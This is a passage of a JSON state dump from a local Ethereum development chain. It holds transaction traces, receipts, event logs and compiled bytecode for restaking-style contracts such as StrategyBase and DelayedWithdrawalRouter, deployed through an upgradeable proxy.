401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9","r":"0x93c218ac233c356d8c1663966e7da7a6cc5b49a65642bd00403afd5a2cd58cb7","s":"0x71fdc067379aa87fc743df2ed1aa4474c9c2fae29c8656b65708b07e3470afac","yParity":"0x0","hash":"0xc5ab7ffd678838a961853d02e47b017e812cf03201fd77fac31c56b8c8a08d9d"}},"impersonated_sender":null}],"ommers":[]}],"transactions":[{"info":{"transaction_hash":"0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":118552,"gas_limit":172617,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef28600000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":112194,"gas_limit":163709,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xeb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a","output":"0x","gas_used":99229,"gas_limit":148606,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":25,"gas_used":141812},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x229f4","logs":[{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},{"address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000"},"block_hash":"0x4754d90d4f734dc39417aceb21d2545050e389f2656238acabf700fd2726c31d","block_number":22},{"info":{"transaction_hash":"0x7b2ad9854eb247aabf66341463e3cce73d6236a6016d1af453b6abddb1289e37","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea26469706673582212208638e66f5dce0ad66ff3676e3d1ac48bc288949bb5c5e4f6ec1f16e582f0f63064736f6c634300081b00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6","output":"0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561